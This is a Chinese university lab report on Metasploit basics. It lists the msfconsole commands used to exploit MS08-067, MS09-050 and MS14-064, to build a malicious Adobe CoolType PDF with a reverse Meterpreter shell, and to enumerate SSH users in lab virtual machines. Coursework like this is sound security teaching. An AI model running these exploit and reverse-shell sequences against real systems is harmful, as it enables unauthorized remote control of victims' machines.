2019-2020-2 20175308杨元 《网络对抗技术》Exp6 MSF基础应用
2019-2020-2 20175308杨元 《网络对抗技术》Exp6 MSF基础应用
一、实践内容及原理
实践内容
1.一个主动攻击实践,如ms08_067
2.一个针对浏览器的攻击,如ms11_050
3.一个针对客户端的攻击,如Adobe
4.成功应用任何一个辅助模块
以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的。
实践原理
1.MSF攻击方法
- 主动攻击:扫描主机漏洞,进行攻击
- 攻击浏览器
- 攻击客户端
2.MSF的六个模块
模块源码目录:/usr/share/metasploit-framework/modules
- 渗透攻击模块
Exploit Modules
:攻击漏洞,把shellcode“背”过去 - 辅助模块
Auxiliary Modules
:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提 - 攻击载荷
Payload Modules
:载荷,一段指令(shellcode),目标系统在渗透攻击之后去执行的代码 - 空字段模块
Nop Modules
- 编码模块
Encoders
- 后渗透攻击模块
Post
:攻击成功之后,动态传输代码使其在被控机执行
3.常用命令
search name
:用指定关键字搜索可以利用的漏洞模块use XXXXX(exploit name)
:使用漏洞show options
:显示设置set XXX(option name)
:设置选项show payload
:回连攻击载荷show targets
:显示版本set TARGET XXXX(target number)
:设置目标版本exploit
:开始漏洞攻击sessions -l
:列出会话sessions -i id
:选择会话sessions -k id
:结束会话Ctrl+z
:把会话放到后台Ctrl+c
:结束会话show auxiliary
:显示辅助模块use auxiliary name
:使用辅助模块
二、实验步骤
主动攻击的实践
ms08-067_netapi:自动化漏洞溢出攻击
MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统, 如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。 在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。 此漏洞可能用于进行蠕虫攻击。
靶机:Windows 2000(IP:192.168.242.157)
攻击机:kali linux(IP:192.168.242.133)
1. 输入msfconsole
打开MSF控制台
2. 输入search ms08-067
查找,找到可利用的模块
3. 输入use exploit/windows/smb/ms08_067_netapi
启用该模块
4. 输入info
查看靶机适用范围。
这里我的电脑上没有安装可用的靶机,因此要再安装一个Microsoft Windows 2000
5. 输入下列参数:
set payload generic/shell_reverse_tcp
选择攻击模块set RHOSTS 192.168.242.157
设定靶机IP地址set LHOST 192.168.242.133
设定攻击机IP地址set LPORT 5308
设定端口set target 1
设定目标机版本,刚才列表可见靶机windows 2000为target 1
6. 输入exploit
进行攻击,获得靶机控制权后可正常输入cmd命令,攻击结果如下:
ms09-050:远程代码执行漏洞(唯一)
如果攻击者向运行 Server 的计算机发送特制的 SMB 数据包,则这些漏洞中最严重的漏洞可能允许远程执行代码。对于 Windows Vista 和 Windows Server 2008 的受支持版本,此安全更新等级为“严重”。
靶机:Windows Server 2008 x86(IP:192.168.242.158)
攻击机:kali linux(IP:192.168.242.133)
本次实验中要求至少有一项实践与其他同学不相同,因此我除了示例中的ms08-067漏洞之外,还是用了ms09-050漏洞进行攻击,截止我进行本次实验没有其他同学使用该漏洞。
1. 进入/usr/share/metasploit-framework/modules/exploits/windows/smb
目录下寻找其他可利用的漏洞,这里一开始我选择的是ms15-020(DLL植入远程代码执行漏洞),但是尝试发现似乎需要用到三台虚拟机,我的电脑卡到不行因此放弃,改用ms09-050。
2. 上文大致描述过相关过程,因此这里不再详细解释,以下是该实践中所有输入:
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index //启用相应的模块
info //查看信息,这里显示可用的靶机只有 Windows Vista 或 Windows Server 2008(x86),因此后面不用指定target
set payload generic/shell_bind_tcp
set RHOST 192.168.242.158
set LPORT 192.168.242.133
set LPORT 5308
exploit
3. 攻击结果如下:
针对浏览器的攻击实践
ms11-050(失败)
靶机:IE 8 on Windows XP sp3(IP:192.168.242.159)
攻击机:kali linux(IP:192.168.242.133)
1. 还是先输入msfconsole
启动控制台,输入search ms11-050
查看要启用具体哪个模块
2. 输入info
查看该漏洞影响范围,受影响的范围如下:
3. 输入相关参数,展开攻击.
4. 在xp的IE浏览器上代开生成的url,宣告失败
这里xp失败后我又尝试使用win7+IE8的组合,依然失败,这次明显的提示错误原因出自ARPCRASH
,但是并没有准确的解决措施,在安全设置上我进行了一系列的修改却也还是无法运行。。。
ms14-064
靶机:Windows xp sp3(IP:192.168.242.161)
攻击机:kali linux(IP:192.168.242.133)
1. 以下是输入参数:
msfconsole
use exploit/windows/browser/ms14_064_ole_code_execution
show payloads
set payload windows/meterpreter/reverse_tcp
set SRVHOST 192.168.242.133
set AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell,所以msf中的exp代码只对安装powershell的系统生效
set LHOST 192.168.242.133
set LPORT 5308
set target 0 //设置winXP靶机
exploit
2. 输入ctrl c
结束当前状态,然后输入sessions -i 1
获取会话状态,得到shell。可以正常输入命令。
针对客户端的攻击
这里我尝试了使用watermark_master.rb
,adobe_flashplayer_button.rb
分别因为需要购买正版软件和缺少target版本下载资源而失败,最后选用adobe_cooltype_sing
漏洞。
靶机:Windows XP(IP:192.168.3.27)
攻击机:kali Linux(IP:192.168.3.28)
1. 虚拟机XP直接下载上学期信息安全技术的XP,它的IP为192.168.3.27,所以先配置kali的ip地址到同一网段。此时kali的地址变为:192.168.3.28
2. kali中启动msf控制台,输入以下参数:
use windows/fileformat/adobe_cooltype_sing //选择攻击模块
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.3.28 //kali的IP地址
set LPORT 5308
set FILENAME yy5308.pdf //这里可以指定生成pdf的名字,默认为msf.pdf
exploit //发起攻击
3. 上一步骤结束后,在/home/yy20175308/.msf4/local
目录下会生成这个文件,找到这个文件,拖到XP虚拟机中
4. 回到kali,输入back
退出当前模块,输入以下内容:
use exploit/multi/handler //启用监听模块
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.3.28 //kali的IP地址
set LPORT 5308
exploit //开始监听
5. 在XP虚拟机中点开这个pdf,然后会卡住,但是不要紧,此时kali已经成功获取了XP的控制权
成功应用任何一个辅助模块
辅助模块:能够帮助渗透测试者在进行渗透攻击之前得到目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
Metasploit为渗透测试的信息搜集环节提供大量辅助模块支持:
- 网络服务的扫描与查点
- 收集登录密码、口令猜测破解、敏感信息嗅探
- 探查敏感信息泄漏、Fuzz测试发掘漏洞
- 实施网络协议欺骗等模块
- 此外还包含一些无需加载攻击载荷,同时往往不是缺的目标系统远程控制权的渗透测试如拒绝服务攻击等。
ssh_enumusers(唯一)
靶机:Windows XP(IP:192.168.3.27)
攻击机:kali linux(IP:192.168.3.28)
1. 输入cd /usr/share/metasploit-framework/modules/auxiliary
目录下查看Aux模块。
2. 这里我尝试使用的是 ssh_enumusers(ssh_用户枚举)
3. 打开msfconsole控制台,输入以下的参数:
use auxiliary/scanner/ssh/ssh_enumusers //启用相应模块
show options //查看参数设置
(这里可以先输入info查看该模块的具体说明,本模块的作用是发送格式错误的数据包或计时攻击来枚举OpenSSH服务器上的用户。测试会记录无效用户)
set RHOSTS 192.168.3.27 //设置目标地址
set RPORT 5308 //设置端口
set THREADS 50 //设置攻击线程
set THRESHOLD 2 //大致是设置找到用户前需要的秒数
set USERNAME yy //设置猜测用户名
run //启动
4. 运行结果如下:
图中显示用户名“yy”无法验证为ssh的有效用户。这只是本次实验中的一个简单的使用,如果真的以此模块进行测试的时候,在参数设置的时候应该启用USER_FILE
,实现准备好存有大量常用用户名的文件,指定该文件参与用户名枚举。
ssh_version(唯一)
这个就不多做介绍了,在实验指导中操作的就是这个模块
三、实践总结与体会
基础问题回答
1.用自己的话解释什么是exploit,payload,encode
- exploit:渗透攻击,通过寻找并利用靶机的漏洞实现非授权行为甚至直接完全取得被攻击机的控制权
- payload:载荷,有效负载。实现非授权操作时执行攻击代码的那部分,可以是一段代码
- encode:编码。在之前的实验中曾利用encode寻求后门程序的免杀
2.离实战还缺些什么技术或步骤
本次实验我们依然还是在很多的限制条件下进行的。例如靶机的防火墙一直处于关闭状态,实战中肯定要在防火墙启用的状态下实现免杀。系统版本也比较老旧,整个实验过程中没有任何一个漏洞是对最新的win10进行的,很显然不符合现在用户的使用情况。其次如对客户端进行攻击的时候我们都是将问题pdf文件直接拷贝到虚拟机中,在实战我们肯定不能直接对用户的电脑进行手工操作,所以还要进行一些诱导步骤,即社工攻击。
实验体会
这实验真是花了我太长时间了。来回翻看之前提交的同学们的报告避免使用一样的漏洞,而自己在目录中找的漏洞有几个出于各种原因是没有办法实现的,比如watremask-master要购买正版才能使用等等,但是在这过程中有了很多以往实验没有的体验。以往要么参考老师的实验指导要么翻阅学长学姐的博客,这次则不然,为了避免撞车认真查看英文description,对资料的掌握能力有所提升。